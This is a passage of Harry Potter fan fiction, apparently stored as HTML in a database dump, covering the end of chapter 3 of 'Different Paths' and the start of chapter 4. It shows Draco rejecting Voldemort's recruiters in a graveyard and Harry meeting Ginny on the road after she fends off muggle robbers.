leader.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8217;Course he&#8217;s Lucius&#8217;s boy yeh bloody fool,&#8221;\nsaid another man.&nbsp; &#8220;He looks jus&#8217; like\n&#8216;im.&nbsp; Great man, &#8216;e was, Lucius.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco ignored the question.&nbsp; &#8220;Who are you and what are you doing here?&#8221;\nhe demanded, rather silently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We work for the Dark Lord,&#8221; the leader said\nquite proudly: all four men seemed to have a lot of pride in this fact.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;Now that can&#8217;t be right,&#8217;</i> thought Draco.&nbsp; <i>&#8216;These blokes are just short of squibs.&nbsp; They would be considered lowlifes by the\nDark Lord&#8217;s standards.&nbsp; Curious.&#8217;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">In the mean time, the leader was still\nspeaking.&nbsp; &#8220;Our master sent us out on a\nmission.&nbsp; We&#8217;re to ask yeh ta take yer\nplace in our ranks.&nbsp; The place yer old\nman, Lucius had before his death.&nbsp; So,\nyoung Malfoy, join us!&nbsp; Take yer place on\nourside where yeh father was before you were.&nbsp;\nReceive the Dark Mark.&#8221;&nbsp; He\ntossed his empty whiskey bottle behind him.&nbsp;\nThe bottle shattered on a headstone.&nbsp;\nThis made Draco even angrier.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Get out,&#8221; hissed Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Eh?&#8221;&nbsp;\nThe men were clearly confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Get out of this graveyard now!&#8221; hissed\nDraco, clearly angry.&nbsp; &#8220;You have defiled\nthis place with your filth.&nbsp; If you dare\ndefile this place any further, my wrath will be felt by not only you but by\nVoldemort himself as well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The faces of the four men instantly turned\nred with anger.&nbsp; &#8220;You dare,&#8221; the leader\nyelled, &#8220;You dare mock our master!&#8221;&nbsp;\nWith a cry of rage, the four men leapt toward Draco brandishing wands,\ndaggers, and firearms.&nbsp; However, just as\nthey closed in on Draco, Draco spun around and shouted, <i>&#8220;Cyclonus\nDiffindo-hex!&#8221;</i>&nbsp; A series of bright\ncolored streams of light flowed forth from Draco&#8217;s wand as he spun around,\ncircling him like a tornado before slashing into the four.&nbsp; Before the four could realize what had\nhappened, they were killed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As Draco wiped the four&#8217;s blood off of his\nrobes, he was a little surprised to hear some mild applause coming from behind\nhim.&nbsp; He turned around to see a young\nman of about seventeen, a little shorter than him, with brownish black hair and\nbrown eyes.&nbsp; &#8220;Who are you?&#8221; said Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Seth Soran, I work for Mr. Voldemort,&#8221; said\nthe young man.&nbsp; He examined the\nmutilated corpse of the leader of the four.&nbsp;\n&#8220;Most impressive, Mr. Malfoy.&nbsp;\n&#8216;Cyclonus Diffindo&#8217; was it?&nbsp; If I\nremember correctly, that is a curse first developed by your father Lucius.&nbsp; But I see you&#8217;ve made a few modifications\nyourself.&nbsp; &#8216;Hex&#8217; was it?&nbsp; Through what I saw, six times more powerful\nthan the curse Lucius used to use before his death.&nbsp; Developed yourself when you were in France I suppose.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Seth looked up at the silent Draco and\ngrinned.&nbsp; &#8220;If you&#8217;re wondering why I&#8217;m\nnot upset over your killing of these four, it&#8217;s because I fully expected\nit.&nbsp; I sent these four out to meet you\nto test just how powerful you&#8217;ve become these past few years.&nbsp; After all, they were practically squibs,\neasily disposable and replaceable within Mr. Voldemort&#8217;s ranks.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What do you want from me?&#8221; said Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Basically the same thing these four were\nasking, whether you will take Lucius&#8217;s place and join Mr. Voldemort&#8217;s\nranks.&nbsp; Aside from the exchange program\nat Beauxbatons, you&#8217;ve also attended summer school at Durmstrang haven&#8217;t\nyou?&nbsp; You&#8217;ve got the best of all three\nEuropean Wizarding Schools within your magical education.&nbsp; You would be a far more valuable asset to Mr.\nVoldemort than even Lucius was.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not interested,&#8221; said Draco rather\nicily.&nbsp; He started to walk away without\nsparring a backward glance toward Seth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But it would be the perfect opportunity to\nfulfill your promise to everyone here,&#8221; said Seth as he gestured toward the\ngraves of the Slytherin students.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco froze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I know all about the promise you&#8217;ve made\nthese people here before you left for Beauxbatons,&#8221; said Seth.&nbsp; &#8220;You promised them that you would become a\nfar greater wizard than Harry Potter could ever hope to become, by any means\nnecessary.&nbsp; Now that your friends are\ngone, lost during the Slytherin Revolts, that promise has become everything for\nyou, hasn&#8217;t it?&nbsp; That promise you made\nto them is all that matters now, isn&#8217;t it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco said nothing, still rooted in his spot\nfacing away from Seth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, Mr. Malfoy.&nbsp; If you ever change your mind, you can contact me with owl\npost.&nbsp; Good day to you.&#8221;&nbsp; With that, Seth faded away into the shadows,\nleaving Draco alone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A few minutes later, Seth reappeared in a\nsmall wood nearby.&nbsp; &#8220;Well, what do you\nthink, Mr. Voldemort?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Right in front of Seth sat a tall man of\nabout 6&#8217; 2&#8221;.&nbsp; He had raven black hair,\ngleaming scarlet eyes with slit pupils like a cat&#8217;s, a face as white as a\nskull.&nbsp; He was wearing elegant black\nrobes with silver trimmings, and his spider like hands held a wine glass.&nbsp; It was none other than the Dark Lord\nVoldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Impressive,&#8221; said the Dark Lord.&nbsp; &#8220;I really liked how he just finished off\nthose squibs like garbage without a second thought.&nbsp; Even Lucius would&#8217;ve hesitated a little.&#8221;&nbsp; He turned to a voluptuous, beautiful woman\nsitting right next to him.&nbsp; She was wearing\nelegant, red dress robes, had waist length wavy brown hair, and bright amber\neyes.&nbsp; &#8220;Pour me another glass, Yasmin.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As you wish, my Lord,&#8221; replied the\nwoman.&nbsp; She took out a bottle of wine\nand poured it into Voldemort&#8217;s wine glass.&nbsp;\nVoldemort started sipping from it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You are intending to enjoy this war, or you\nnot?&#8221; said Seth with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort grinned.&nbsp; &#8220;I fully intend to enjoy it.&nbsp;\nI am looking forward to seeing how exciting this will turn out,\nespecially if it means taking this country for my own.&#8221;&nbsp; He drained the rest of his glass and stood\nup.&nbsp; &#8220;Come Yasmin, Seth, let us prepare\nfor the motions of takeover.&#8221;&nbsp; With\nthat, the three disapparrated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">To avoid possible detection by the Death\nEaters and by the Ministry, whom many had decided as couldn&#8217;t be trusted, Harry\nPotter was traveling to London on foot.&nbsp;\nHe had most of his possessions shrunk in his pocket, among them his\nfather&#8217;s invisibility cloak and his racing broom, the Firebolt.&nbsp; He was dressed in full wizard gear, with his\nHogwarts robes and cloak earning him a few stares from the local muggle population.&nbsp; High above him in the air flew his faithful\ncompanion, his snowy white owl, Hedwig.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry had been traveling for four days.&nbsp; Now, using a combination of speed charms and\nstamina charms he was now within a few miles from Hadrien&#8217;s Wall.&nbsp; By his estimates, he was now about five days\naway from London, his final destination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry looked up at the sky that was turning\norange due to the setting sun.&nbsp; <i>&#8216;I\nshould get a place to stay for the night,&#8217;</i> he thought.&nbsp; Harry had some of his Gringotts fortune\nchanged into muggle currency a few months back so he had no problem with paying\nfor a room.&nbsp; Unfortunately, there were\nno inns around so Harry decided to make his way into the woods and transfigure\nsomething there into a tent and sleeping bag.&nbsp;\nAs he made his way over to the woods, his thoughts wandered back to his\nfriends.&nbsp; <i>&#8216;I wonder how everyone\nreacted to my leaving,&#8217;</i> he thought.&nbsp;\n<i>&#8216;I bet Sirius might have blown his top, probably coming after me to\nbeat some sense into me right about now.&nbsp;\nRon might&#8217;ve blown up as well, but maybe not.&nbsp; He&#8217;s been a little more mature recently though he still argues\nwith Hermione all the time.&nbsp;\nHermione...&#8217;</i> Harry sighed sadly.&nbsp;\n<i>&#8216;I wish she were here with me now.&nbsp;\nI wish I didn&#8217;t have to part with her like that.&nbsp; I wish she understands.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly heard voices in the thicket\nnearby and dove into the bushes for cover.&nbsp;\nLooking out of the bushes he gasped.&nbsp;\nThere were four men, all clearly members of a local gang, surrounding a\nyoung girl.&nbsp; Her features were hidden by\nher black, cloak and hood and she was facing away from Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All right, wench!&#8221; said one of the men.&nbsp; &#8220;You give us everything you got, now!&nbsp; No words just hand it over.&#8221;&nbsp; He pulled a gun out and pointed it at the\ngirl.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If you don&#8217;t cooperate, we&#8217;ll just have a\nlittle fun with you.&nbsp; In fact we&#8217;ll have\nsome fun with you whichever way,&#8221; said another man with a sick chuckle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Anger coursed through Harry&#8217;s veins.&nbsp; However, he decided to stay where he was\nwhen the girl laughed out loud.&nbsp; Though\nhe couldn&#8217;t remember where, Harry swore to himself that he had heard her voice\nbefore.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Have fun with me?&#8221; said the girl.&nbsp; &#8220;Well, you&#8217;re welcome to try, but I don&#8217;t\nthink you&#8217;ll even get close enough.&#8221;&nbsp;\nShe threw her cloak off.&nbsp; She had\nvibrant fiery red hair that fell just below her shoulders, was rather tall at\n5&#8217; 9&#8221;, had brown eyes, and was wearing the white wizarding robes of\nBeauxbatons.&nbsp; Harry gasped, for he had\ninstantly recognized the girl.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey, she&#8217;s just a kid.&nbsp; We can&#8217;t have fun with her,&#8221; said one of the\nmen, sounding disappointed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Kid?&#8221; said redheaded girl\nincredulously.&nbsp; &#8220;I&#8217;ll let you know that\nI happen to be sixteen years old!&nbsp; I&#8217;d\nsay that makes me a woman.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Who cares, if she&#8217;s just a kid,&#8221; said one of\nthe men.&nbsp; &#8220;She&#8217;s still a wench!&nbsp; Get her!&#8221;&nbsp;\nHe charged at the girl but the girl simply placed a high kick on the\nman&#8217;s chin, knocking him unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hmm, I&#8217;m not supposed to use magic against\nmuggles,&#8221; she said.&nbsp; &#8220;But desperate\ntimes call for desperate measures, and I suppose this is desperate\nenough.&#8221;&nbsp; She pulled out a wand from her\nrobes and started twirling it around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s she talking about?&#8217; said one of the\nmen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dunno,&#8221; said another man.&nbsp; &#8220;And I don&#8217;t care!&nbsp; Get her!&#8221;&nbsp; The remaining\nmen charged at the girl.&nbsp; However, the\ngirl simply spun around and shouted, <i>Stupefy!&#8221; </i>three times, stunning the\nthree men instantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Satisfied that the girl was all right, Harry\ndecided to make a quiet exit, not wanting to meet up with any of his friend on\nhis mission.&nbsp; However, he accidentally\nstepped on a twig as he made his way out.&nbsp;\nThe girl spun around and said, &#8220;All right!&nbsp; Who&#8217;s there?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed and emerged from his hiding\nplace.&nbsp; &#8220;Hmm, rather impressive,&#8221; he\nsaid.&nbsp; &#8220;I just stopped by to stop a\npotential crime.&nbsp; Guess I really didn&#8217;t\nhave much to worry about.&nbsp; But then\nagain, one can&#8217;t be entirely sure.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The girl starred at Harry, her jaw dropped in\nsurprise.&nbsp; &#8220;Harry?&nbsp; Harry Potter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hello Ginny, nice to see you again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What followed was a quick catch up time.&nbsp; Ginny Weasley had been one of the Hogwarts\nstudents whom had gone to Beauxbatons as part of the exchange program.&nbsp; As such, Harry hadn&#8217;t seen her in nearly two\nyears.&nbsp; Ginny had long outgrown her old\ncrush on Harry and was now one of his friends.&nbsp;\nEventually, their talk turned to their current status.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So what are you doing down here near\nHadrien&#8217;s Wall?&#8221; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I could ask you the same question, Harry,&#8221;\nsaid Ginny.&nbsp; &#8220;But if you must know, I&#8217;m\nsearching for someone.&nbsp; The last I\nheard, Draco was somewhere in Scotland.&nbsp;\nI managed to trace him to Hogwarts but he wasn&#8217;t there by the time I\narrived, and my sources told me he was heading south.&nbsp; So here I am searching for him.&#8221;&nbsp;\nShe started to blush.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s jaw dropped.&nbsp; &#8220;Draco?&nbsp;\nAs in Draco Malfoy?&#8221; he exclaimed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, that&#8217;s right, you hated him didn&#8217;t you,&#8221;\nsaid Ginny.&nbsp; &#8220;Well he changed when we\nwent to Beauxbatons.&nbsp; At first he was\nthe same obnoxious wisecracker that you knew at Hogwarts but then something\nhappened about a year that changed him.&nbsp;\nHe became quieter, more pensive, more determined.&nbsp; I&#8217;m not entirely sure what had happened but\nafter that, we became more and more closer.&nbsp;\nThat is until he left for Britain about a month ago.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry slapped his forehead and cursed under\nhis breath.<i>&nbsp; &#8216;Bloody hell, she\ndoesn&#8217;t know about the Slytherin Revolts.&nbsp;\nTypical Fudge, trying to conceal the scandal from the outside world,&#8217;</i>\nhe thought.&nbsp; Harry took a deep breath\nand said, &#8220;You should just forget about him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ginny turned toward Harry and anger and said,\n&#8220;Typical of you to tell me to forget your old rival!&nbsp; But I&#8217;m telling you, he&#8217;s changed!&nbsp; He&#8217;s...&#8221; She abruptly stopped when she saw the look on Harry&#8217;s\nface.&nbsp; &#8220;There&#8217;s something else, isn&#8217;t\nthere?&nbsp; Something happened here while I\nwas gone, that changed Draco.&nbsp; What\nhappened Harry?&nbsp; What happened here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look, my advice would be to just forget\nabout Draco Malfoy,&#8221; said Harry.&nbsp; &#8220;After\nwhat happened, I can imagine him to be completely...let&#8217;s say obsessed.&nbsp; He&#8217;s dangerous now.&nbsp; Just forget about him.&nbsp; You&#8217;ll be a lot happier that way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You have no right to tell me that!&#8221; Ginny\nshouted in anger.&nbsp; &#8220;How do you expect\none to become happier by forgetting about the person they care the most\nabout!&nbsp; You&#8217;re not making sense Potter!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hearing Ginny&#8217;s words, Harry&#8217;s thoughts went\nback to Hermione.&nbsp; &#8220;You&#8217;re right,&#8221; he\nsaid sadly.&nbsp; &#8220;I&#8217;m sorry, I had no right\nto say that.&nbsp; But I&#8217;m afraid I have to\ngo now.&nbsp; Good bye, Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh no you don&#8217;t, Harry Potter,&#8221; said\nGinny.&nbsp; &#8220;You seem to be carrying\ninformation I want about what happened while I was away.&nbsp; I&#8217;m coming with you until you tell me!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry slapped his palm on his forehead.&nbsp; &#8220;Perfect,&#8221; he groaned.<b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>To\nbe continued...</b><b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">A/N </b>Chapter 3 is here.&nbsp; Did you enjoy\nit?&nbsp; I sure hope so.&nbsp; I had quite a bit of fun writing this.&nbsp; But personally, I can&#8217;t wait to get on to the\nnext chapter because we&#8217;re getting some action back.&nbsp; More Harry, more Ginny, more Snape, more Seth, and more\nVoldemort.&nbsp; Also, for those people\nbrowsing FF.net, please read the original story by Colonel-DCR a.k.a. my Dad,\n&#8220;Sla of the West&#8221;.&nbsp; Next:&nbsp; Harry and Ginny come upon a village that is\nan example of Voldemort&#8217;s world.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(33, 4, '\n\n\n\n\n\n\n\n<p><b>Title:</b> Different Paths (04)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Ruroni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers. No money is being made and no\ncopyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Aren&#8217;t computers great?&nbsp;\nMy new one gives me DSL internet access right here and now in my\napartment so whenever I have a day off, I can just lounge about in my apartment\neither internet browsing or watching T.V. in my PJs.&nbsp; Well, enough of that, just read.</p>\n\n<p style="text-align:center" align="center">~~~~~~~~~~~~~</p>\n\nChapter 4: At the village of Graypine\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal">Within a few days, Harry and Ginny had entered England and\nwere steadily making their way to London on foot.&nbsp; At present, they were wondering through some woods around North\nYorkshire and were steadily heading south.&nbsp;\nHarry kept on walking at a steady pace, while Ginny trailed behind while\nmunching on some pumpkin pastries.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I don&#8217;t see why we can&#8217;t take the Knight Bus to\nLondon,&#8221; she said.&nbsp; When Harry ignored\nher, Ginny became angry.&nbsp; &#8220;Hey Potter,\nI&#8217;m speaking to you!&nbsp; What?&nbsp; Can&#8217;t speak back to me?&nbsp; Yo!&nbsp;\nFour-eyes!&nbsp; Scar-face!&nbsp; 